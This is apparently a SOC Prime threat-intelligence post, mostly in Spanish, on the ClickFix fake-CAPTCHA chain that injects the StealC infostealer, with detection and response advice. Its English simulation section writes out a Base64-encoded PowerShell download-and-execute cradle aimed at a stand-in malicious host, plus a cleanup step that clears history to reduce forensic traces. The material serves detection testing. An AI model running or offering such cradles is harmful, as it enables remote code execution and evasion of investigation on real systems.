SOC Prime Bias: Medio

16 Feb 2026 17:47

Cómo ClickFix Abre la Puerta al Sigiloso StealC Robador de Información

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Cómo ClickFix Abre la Puerta al Sigiloso StealC Robador de Información
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una intrusión multi-etapa y sin archivos comienza en un sitio comprometido de un restaurante vietnamita que alberga un CAPTCHA falso. Se persuade a las víctimas para que ejecuten PowerShell que descarga shellcode independiente de la posición, que carga de manera reflexiva un descargador de 64 bits e inyecta el ladrón de información StealC en svchost.exe. StealC recopila credenciales del navegador, datos de billeteras de criptomonedas, credenciales de Steam y Outlook, detalles del host y capturas de pantalla, para luego exfiltrar a través de tráfico HTTP cifrado con RC4.

Investigación

Los investigadores diseccionaron el cargador de JavaScript y PowerShell, confirmaron el uso del marco de shellcode Donut y siguieron las solicitudes HTTP del descargador a URLs controladas por atacantes. El ladrón parece ser un malware-as-a-service dirigido por un constructor con características modulares de robo más una rutina de autoeliminación. Las notas de búsqueda incluyen un valor de User-Agent de “Loader” y claves de registro específicas relacionadas con la etapa y ejecución.

Mitigación

Las defensas recomendadas incluyen limitar o deshabilitar el pegado del portapapeles en los navegadores, ajustar las políticas de ejecución de PowerShell y alertar sobre cadenas de User-Agent inusuales. Agregar detección para carga PE reflexiva e inyección de procesos, y aplicar inspección HTTP saliente para la entrega de cargas útiles codificadas en Base64. La educación del usuario sobre cebos de CAPTCHA falsos debe considerarse un control, no una ocurrencia tardía.

Respuesta

Si se descubre, aislar el punto final, detener la instancia inyectada de svchost.exe, capturar volcados de memoria para revisión de shellcode y bloquear los dominios/URLs maliciosos. Restablecer credenciales expuestas, revisar artefactos del registro y navegador para el impacto, y vigilar por tráfico residual de C2.

graph TB %% Definiciones de clases classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[«<b>Técnica</b> – <b>T1659 Inyección de Contenido</b>: JavaScript malicioso inyectado en un sitio web comprometido que entrega un CAPTCHA falso.»] class tech_content_injection technique attack_user_exec[«<b>Acción</b> – <b>T1204.004 Ejecución del Usuario: Copiar y Pegar Malicioso</b>: La víctima ejecuta un comando PowerShell mediante Win+R y Ctrl+V.»] class attack_user_exec action tech_powershell[«<b>Técnica</b> – <b>T1059.001 PowerShell</b>: Ejecuta un script de PowerShell que descarga un cargador en memoria.»] class tech_powershell technique tech_obfuscation[«<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b>: Shellcode y cadenas cifradas, resolución dinámica de API (T1027.007), cargas útiles sin símbolos (T1027.008).»] class tech_obfuscation technique tech_process_injection[«<b>Técnica</b> – <b>T1055 Inyección de Procesos</b>: Inyección de Ejecutable Portátil (T1055.002) y Hollowing de Proceso (T1055.012) en svchost.exe.»] class tech_process_injection technique tech_masquerading[«<b>Técnica</b> – <b>T1036 Suplantación</b>: Uso del proceso legítimo svchost.exe para ocultar actividad maliciosa.»] class tech_masquerading technique tech_cred_browser[«<b>Técnica</b> – <b>T1555.003 Credenciales desde Navegadores Web</b>: Robo de credenciales almacenadas en el navegador.»] class tech_cred_browser technique tech_steal_cookie[«<b>Técnica</b> – <b>T1539 Robo de Cookies de Sesión Web</b>: Captura de cookies de autenticación del navegador.»] class tech_steal_cookie technique tech_use_cookie[«<b>Técnica</b> – <b>T1550.004 Uso de Material de Autenticación Alternativo: Cookie de Sesión Web</b>: Reutilización de cookies robadas para acceso autenticado.»] class tech_use_cookie technique tech_browser_discovery[«<b>Técnica</b> – <b>T1217 Descubrimiento de Información del Navegador</b>: Recopilar información sobre navegadores instalados y sus configuraciones.»] class tech_browser_discovery technique tech_archive[«<b>Técnica</b> – <b>T1560 Archivar Datos Recopilados</b>: Comprimir o archivar datos recopilados antes de la exfiltración.»] class tech_archive technique tech_exfil_c2[«<b>Técnica</b> – <b>T1041 Exfiltración por Canal C2</b>: Transferir datos usando el canal de comando y control.»] class tech_exfil_c2 technique tech_encrypted_channel[«<b>Técnica</b> – <b>T1573 Canal Cifrado</b>: Proteger la exfiltración con cifrado (Base64+RC4).»] class tech_encrypted_channel technique tech_exfil_alt[«<b>Técnica</b> – <b>T1048.001 Exfiltración por Protocolo Alternativo</b>: Uso de protocolos alternativos para exfiltrar datos.»] class tech_exfil_alt technique tech_file_deletion[«<b>Técnica</b> – <b>T1070.004 Eliminación de Archivos</b>: Eliminar archivos y artefactos para cubrir rastros.»] class tech_file_deletion technique tech_clear_persistence[«<b>Técnica</b> – <b>T1070.009 Limpiar Persistencia</b>: Eliminar mecanismos de persistencia después de la ejecución.»] class tech_clear_persistence technique %% Conexiones que muestran el flujo de ataque tech_content_injection –>|leads_to| attack_user_exec attack_user_exec –>|executes| tech_powershell tech_powershell –>|uses| tech_obfuscation tech_obfuscation –>|enables| tech_process_injection tech_process_injection –>|uses| tech_masquerading tech_process_injection –>|enables| tech_cred_browser tech_process_injection –>|enables| tech_steal_cookie tech_cred_browser –>|supports| tech_browser_discovery tech_browser_discovery –>|feeds| tech_archive tech_archive –>|compressed_data| tech_exfil_c2 tech_steal_cookie –>|enables| tech_use_cookie tech_use_cookie –>|leads_to| tech_exfil_c2 tech_exfil_c2 –>|protected_by| tech_encrypted_channel tech_exfil_c2 –>|uses| tech_exfil_alt tech_exfil_c2 –>|triggers| tech_file_deletion tech_file_deletion –>|also| tech_clear_persistence

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using iex(irm…). By using the -EncodedCommand switch, the attacker hides the actual commands from casual inspection, and the iex(irm…) pattern directly matches the detection rule.

    1. Create the malicious script (payload.ps1) hosted on http://malicious.example.com/payload.ps1.

    2. Encode the launcher command:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # This value is used in the next step
    3. Execute the encoded command on the target:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    This generates a Sysmon ProcessCreate event where CommandLine contains -EncodedCommand and the decoded text includes iex(irm…), satisfying the Sigma rule.

  • Regression Test Script:

    #-----------------------------------------------------------
    # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Define malicious script URL (replace with your test server)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Build the one‑liner that downloads and executes the script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Encode the command in Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Launch PowerShell with the encoded command
    Write-Host "Executing encoded command..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulation completed."
  • Cleanup Commands:

    # Remove any temporary files created by the simulated payload (if any)
    # Example: delete the downloaded script if it was saved locally
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Removed temporary payload."
    }
    
    # Optionally, clear the PowerShell history to reduce forensic trace
    Clear-History